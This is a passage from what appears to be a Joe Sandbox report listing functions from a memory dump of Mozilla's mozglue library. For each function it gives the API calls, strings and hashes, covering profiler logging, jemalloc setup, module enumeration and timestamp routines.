Part of subcall function 6C59F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C59F0AC
Part of subcall function 6C59F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C59F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C59F008
[I %d/%d] profiler_stop, xrefs: 6C59EED7

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 4fe789f977a065c592dff237c9d5b858874516b4f9c995a84533af9ab8fde49a
Instruction ID: a578f9ab2900bb424825d7913597fa622a7caa4ec8044e21e1e9c35dfb6f5bc0
Opcode Fuzzy Hash: 4fe789f977a065c592dff237c9d5b858874516b4f9c995a84533af9ab8fde49a
Instruction Fuzzy Hash: 2F512631600351DFDB00AB68DC087A577B9FB8631AF16479AE91683B41DBB17844C7AF

Function 6C58D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C58D047
GetSystemInfo.KERNEL32(?), ref: 6C58D093
__Init_thread_footer.LIBCMT ref: 6C58D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5DE810,00000040), ref: 6C58D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7B8,00001388), ref: 6C58D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE744,00001388), ref: 6C58D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE784,00001388), ref: 6C58D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7DC,00001388), ref: 6C58D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C58D0CB
<jemalloc>, xrefs: 6C58D268, 6C58D311
MOZ_CRASH(), xrefs: 6C58D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C58D322
Compile-time page size does not divide the runtime one., xrefs: 6C58D26D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 7ddf5828e176b376a7459984b076a37072e950b359337459aadc36ae4c6a6a42
Instruction ID: aa96ef04abda3e33d16608ca39b5a4da91472a0da3953d32f3e830f9c0f085e3
Opcode Fuzzy Hash: 7ddf5828e176b376a7459984b076a37072e950b359337459aadc36ae4c6a6a42
Instruction Fuzzy Hash: C481D270B02362DBEB00DF68CC54B69B7F5EB46704F12052AE90297B80D7B5B845CB9E

Function 6C567FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C568007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C56801D

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C56802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C56803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C56808D

Part of subcall function 6C56CA10: mozalloc_abort.MOZGLUE(?), ref: 6C56CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C56809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C56810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C568133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C568149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C568167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C56817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C568199

Strings

0>Yl, xrefs: 6C56811E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Yl
API String ID: 2721933968-3504809033
Opcode ID: e9d243a3d9fb5dc99eae48d2f817d2ec50f87d066ec787dc6144c850390f491d
Instruction ID: 62b87deb877cde145101113ae2119f533c051573a9cf0ddf2f03f6164156fbe3
Opcode Fuzzy Hash: e9d243a3d9fb5dc99eae48d2f817d2ec50f87d066ec787dc6144c850390f491d
Instruction Fuzzy Hash: 325196B1E002149BDF10DFA6DC84AEFB7B9EF89224F540525E815E7751E730AD44CBA2

Function 6C565E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565E9D

Part of subcall function 6C575B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5756EE,?,00000001), ref: 6C575B85
Part of subcall function 6C575B50: EnterCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575B90
Part of subcall function 6C575B50: LeaveCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575BD8
Part of subcall function 6C575B50: GetTickCount64.KERNEL32 ref: 6C575BE4

GetCurrentThreadId.KERNEL32 ref: 6C565EAB
GetCurrentThreadId.KERNEL32 ref: 6C565EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C566017

Part of subcall function 6C554310: moz_xmalloc.MOZGLUE(00000010,?,6C5542D2), ref: 6C55436A
Part of subcall function 6C554310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5542D2), ref: 6C554387

moz_xmalloc.MOZGLUE(00000004), ref: 6C565F47
GetCurrentProcess.KERNEL32 ref: 6C565F53
GetCurrentThread.KERNEL32 ref: 6C565F5C
GetCurrentProcess.KERNEL32 ref: 6C565F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C565F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C565F27

Part of subcall function 6C56CA10: mozalloc_abort.MOZGLUE(?), ref: 6C56CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C565E8C

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C56605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C5660CC

Strings

GeckoMain, xrefs: 6C565ECE, 6C566015

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: d5e15f94fc20cabed609b6fd14d5ba3f942f6fcf5e6e293f79fd19ad94fa85ea
Instruction ID: 1ccba73406cae9c13302a06dd902dac0514f2f7fa83aab5348e6d61f4641c214
Opcode Fuzzy Hash: d5e15f94fc20cabed609b6fd14d5ba3f942f6fcf5e6e293f79fd19ad94fa85ea
Instruction Fuzzy Hash: BB719DB0A05740DFD710DF29C880A6ABBF0FF99304F54496DE58687B52DB31E988CB96

Function 6C569590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C553217
Part of subcall function 6C5531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C553236
Part of subcall function 6C5531C0: FreeLibrary.KERNEL32 ref: 6C55324B
Part of subcall function 6C5531C0: __Init_thread_footer.LIBCMT ref: 6C553260
Part of subcall function 6C5531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C55327F
Part of subcall function 6C5531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C55328E
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5532AB
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5532D1
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5532E5
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C569675
__Init_thread_footer.LIBCMT ref: 6C569697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C569707
__Init_thread_footer.LIBCMT ref: 6C56971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5697B7
FreeLibrary.KERNEL32 ref: 6C5697D0
FreeLibrary.KERNEL32 ref: 6C5697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569824

Strings

NtMapViewOfSection, xrefs: 6C569701
ntdll.dll, xrefs: 6C5696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C569670
MapViewOfFileNuma2, xrefs: 6C5697B1

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 7515808d2e04a6232591e09e44cabc172686ad9fed9a9cc13d7ca16002dfef2d
Instruction ID: fc174ebe3598e34254850d31b4a9bd3e7fed9cc705e26cec16ddf3a4d1744eda
Opcode Fuzzy Hash: 7515808d2e04a6232591e09e44cabc172686ad9fed9a9cc13d7ca16002dfef2d
Instruction Fuzzy Hash: B161E471601302DBDF00DF69DC84BDA7BB1EB4A314F028629E91697B90DB30B844CB99

Function 6C5B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6694
GetThreadId.KERNEL32(?), ref: 6C5B66B1
GetCurrentThreadId.KERNEL32 ref: 6C5B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5B66E1
EnterCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6734
GetCurrentProcess.KERNEL32 ref: 6C5B673A
LeaveCriticalSection.KERNEL32(6C5DF618), ref: 6C5B676C
GetCurrentThread.KERNEL32 ref: 6C5B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C5B6868
RtlCaptureContext.NTDLL ref: 6C5B687F

Strings

WalkStack64, xrefs: 6C5B6890

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 027eb8da0c3a96e1e8957b74e7a4e6abf150d0943bd416a1066f1a376e490559
Instruction ID: 3716d2c11e8cbbdcfed222d3c5020db27ffda999d2ecc2168e9a528c49ce7147
Opcode Fuzzy Hash: 027eb8da0c3a96e1e8957b74e7a4e6abf150d0943bd416a1066f1a376e490559
Instruction Fuzzy Hash: A1517971A09301AFDB15DF24CC44A5ABBF4FF89714F01492DF999A7640DB70E908CB9A

Function 6C59DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59DE73
GetCurrentThreadId.KERNEL32 ref: 6C59DF7D
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59DF8A
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59DFC9
GetCurrentThreadId.KERNEL32 ref: 6C59DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C564A68), ref: 6C59DE7B

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C564A68), ref: 6C59DEB8
free.MOZGLUE(00000000,?,6C564A68), ref: 6C59DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C59DF38

Strings

<none>, xrefs: 6C59DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C59E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C59DE83

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 53aadaf7c96928e06619c9259fd98a7315c911eff8c71e6439c5a582aeba14c4
Instruction ID: d76d29aaf87ecedf4b336a230e3fcb12ae73fff609ddc835cb3a1aaeb8636416
Opcode Fuzzy Hash: 53aadaf7c96928e06619c9259fd98a7315c911eff8c71e6439c5a582aeba14c4
Instruction Fuzzy Hash: C341E031B01351DBDB109F68CC08BAAB776EB86319F160159E90A97B01DB71BC05CBEE

Function 6C5AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD918
GetCurrentThreadId.KERNEL32 ref: 6C5AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD970
GetCurrentThreadId.KERNEL32 ref: 6C5AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C5ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5ADA91

Part of subcall function 6C575C50: GetTickCount64.KERNEL32 ref: 6C575D40
Part of subcall function 6C575C50: EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ADAB7

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: d3f7b8d783253a285142050880b1b4a11225090b94992e3513f7fe784d9f9a0d
Instruction ID: 63be8bf68106fd94a7153416c0c1d997dd157cc1cdb53428eebf17af41533ac7
Opcode Fuzzy Hash: d3f7b8d783253a285142050880b1b4a11225090b94992e3513f7fe784d9f9a0d
Instruction Fuzzy Hash: 18719D75600304DFCB00EF69C888B5EBBB6FF89314F15856DE85A9B311DB30A945CB95

Function 6C5AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD52A
GetCurrentThreadId.KERNEL32 ref: 6C5AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD55F
free.MOZGLUE(00000000), ref: 6C5AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD652
GetCurrentThreadId.KERNEL32 ref: 6C5AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD6A2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: cda42b3a018f40786572c76d5f81d6a798d6ea9bd13ee09c1a31312fbd15f89b
Instruction ID: 16369458ae7bb04c9e228fd2acdee6fb2d3c474fe6ebf2a0015f4a134f3edb6c
Opcode Fuzzy Hash: cda42b3a018f40786572c76d5f81d6a798d6ea9bd13ee09c1a31312fbd15f89b
Instruction Fuzzy Hash: F9518B71604705DFC700EF65C888A9ABBF5FF89318F118A2EE84A87711EB30B945CB95

Function 6C551E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C551EC1
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C551EE1
EnterCriticalSection.KERNEL32(6C5DE744), ref: 6C551F38
LeaveCriticalSection.KERNEL32(6C5DE744), ref: 6C551F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C551F83
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C551FC0
EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C551FE2
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C551FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C552019

Strings

D]l, xrefs: 6C551F56
\]l, xrefs: 6C551F3E
D]l, xrefs: 6C551F32
MOZ_CRASH(), xrefs: 6C552000

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D]l$D]l$MOZ_CRASH()$\]l
API String ID: 2055633661-2613873827
Opcode ID: 5b67df5734c78e909a3ccf5b598817e07a3d893b4f5fdd6acefc30def9d907bd
Instruction ID: 4d44bda63ff4598e844dde9734838387d1f795b1a77a6d06e5acdfa4752150bd
Opcode Fuzzy Hash: 5b67df5734c78e909a3ccf5b598817e07a3d893b4f5fdd6acefc30def9d907bd
Instruction Fuzzy Hash: 0141D271B013568BDF409FA8CC84B6B7AB5EF4A308F02012AE90497741DBB1B804CBDE

Function 6C575670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C575744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5757BC
GetTickCount64.KERNEL32 ref: 6C5758CB
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C5758F3
__aulldiv.LIBCMT ref: 6C575945
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C5759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C5DF638,?,?,?,?), ref: 6C5759E9

Strings

MOZ_APP_RESTART, xrefs: 6C5756CC

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
